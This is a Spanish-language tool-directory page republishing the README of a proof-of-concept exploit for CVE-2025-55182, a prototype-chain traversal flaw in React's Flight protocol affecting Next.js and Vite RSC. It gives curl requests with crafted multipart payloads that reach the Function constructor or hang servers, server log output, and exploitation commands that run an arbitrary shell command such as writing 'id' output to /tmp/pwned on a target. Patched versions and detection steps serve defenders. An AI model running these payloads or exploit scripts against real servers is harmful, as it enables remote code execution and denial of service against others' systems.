Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-55182-poc — Detección y explotación real de CVE-2025-55182. Sin chorradas de LLMs. | Kitploit
Herramientas/GitHubGitHub/acheong08/cve-2025-55182-poc
Generación de PayloadsAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebSeguridad WebPruebas de Penetración
GitHubacheong08/cve-2025-55182-poc

CVE-2025-55182-poc

Detección y explotación real de CVE-2025-55182. Sin chorradas de LLMs.

Ver Repositorio
1011hace 9 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2025-55182

Vulnerabilidad del protocolo React Flight que permite el recorrido de la cadena de prototipos mediante referencias a fragmentos. Pruebas contra bullshit-react-project.

Detección

Esto está ligeramente desactualizado ya que el PoC real ha sido revelado.

Vite RSC: bash ./vite-detect.sh https://example.com
Next.js: bash ./nextjs-detect.sh https://example.com

O para hacer ambos, solo ejecute bash ./detect.sh https://example.com

Ambos scripts aceptan un parámetro de tiempo de espera opcional (por defecto 3s para Vite, 5s para Next.js).

Cómo funciona la detección en Vite

Envía el encabezado x-rsc-action con el payload $1:toString. Los servidores vulnerables se cuelgan indefinidamente; los servidores parcheados responden normalmente. Primero verifica el endpoint RSC (espera HTTP 500 en acción inválida).

Cómo funciona la detección en Next.js

Descubre los IDs de acción del servidor desde la respuesta de la página (patrón $ACTION_ID_<hash>), luego envía:

root@kitploit:~
curl -X POST "http://localhost:3000" \
  -H "Next-Action: <action_id>" \
  -H "Accept: text/x-component" \
  -F '0=["$1:a:a"]' \
  -F '1={}'

Los servidores vulnerables se cuelgan; los servidores parcheados responden rápidamente.

Parcheo

Next.js: Actualice a 16.0.7, 15.5.7 o 15.4.8
React (Vite RSC): Actualice a 19.0.1+, 19.1.2+ o 19.2.1+

Detalles de la vulnerabilidad

El protocolo Flight de React permite el recorrido de la cadena de prototipos mediante referencias a fragmentos. La función getOutlinedModel itera a través de rutas de referencia sin comprobaciones hasOwnProperty:

root@kitploit:~
for (key = 1; key < reference.length; key++)
  parentObject = parentObject[reference[key]];

Esto permite que $1:constructor:constructor recorra {}.constructor.constructor → Function.

Pruebas manuales (Vite RSC)

Endpoint: Cualquier ruta con el encabezado x-rsc-action
Action ID: 710363d987f5#loginUser (o cualquier acción de servidor válida)

PoC: Invocar el Constructor de Function

root@kitploit:~
curl -X POST "http://localhost:4173/xyz" \
  -H "x-rsc-action: 710363d987f5#loginUser" \
  -F '0={"then":"$1:constructor:constructor"}' \
  -F '1={"a":"b"}'

Vulnerable: Internal Server Error
Parcheado: Respuesta normal

Tenga en cuenta que obtendrá un error 500 en un servidor parcheado si sus IDs de x-rsc-action son incorrectos. Solo que los registros del servidor diferirán.

Registros del servidor (vulnerable, siempre)

root@kitploit:~
SyntaxError: Unexpected token 'function'
    at Object.Function [as then] (<anonymous>)

El constructor Function fue invocado a través de .then() cuando el objeto fue awaited. V8 pasa las funciones resolve/reject como argumentos, que se convierten en function () { [native code] } - de ahí el error de sintaxis.

Registros del servidor (parcheado, x-rsc-action inválido)

root@kitploit:~
Error: server reference not found '310363d987f5'
    at Object.load (file:///tmp/team_9_year_3_project/dist/rsc/index.js:13532:27)
    at requireModule (file:///tmp/team_9_year_3_project/dist/rsc/index.js:8302:20)
    at loadServerAction (file:///tmp/team_9_year_3_project/dist/rsc/index.js:8326:17)
    at handler (file:///tmp/team_9_year_3_project/dist/rsc/index.js:14998:29)
    at process.processTicksAndRejections (node:internal/process/task_queues:103:5)
TypeError: Cannot read properties of undefined (reading 'apply')
    at AsyncLocalStorage.run (node:internal/async_local_storage/async_context_frame:63:14)
    at runWithRequest (file:///tmp/team_9_year_3_project/dist/rsc/index.js:13539:25)
    at handler (file:///tmp/team_9_year_3_project/dist/rsc/index.js:14999:27)
    at process.processTicksAndRejections (node:internal/process/task_queues:103:5)

No aparecen registros del servidor con un x-rsc-action válido. Puede encontrar el x-rsc-action correcto ejecutando una acción de servidor real y capturando la solicitud en las herramientas de desarrollo.

Notas

El payload $1:toString cuelga los servidores vulnerables indefinidamente - esto es lo que usan los scripts de detección. He intentado casi todo pero no he conseguido RCE.

Explotación

Para Vite Rsc:

root@kitploit:~
bash exploit-vite.sh https://example.com/ 'echo $(id) > /tmp/pwned'

Para NextJS:

root@kitploit:~
bash exploit-nextjs.sh https://example.com/ 'echo $(id) > /tmp/pwned'

Créditos a maple3142 -> https://gist.github.com/maple3142/48bc9393f45e068cf8c90ab865c0f5f3

Solo hice algunos ajustes y lo adapté para Vite, que es ESM puro y por lo tanto no tiene require.

Descargar herramienta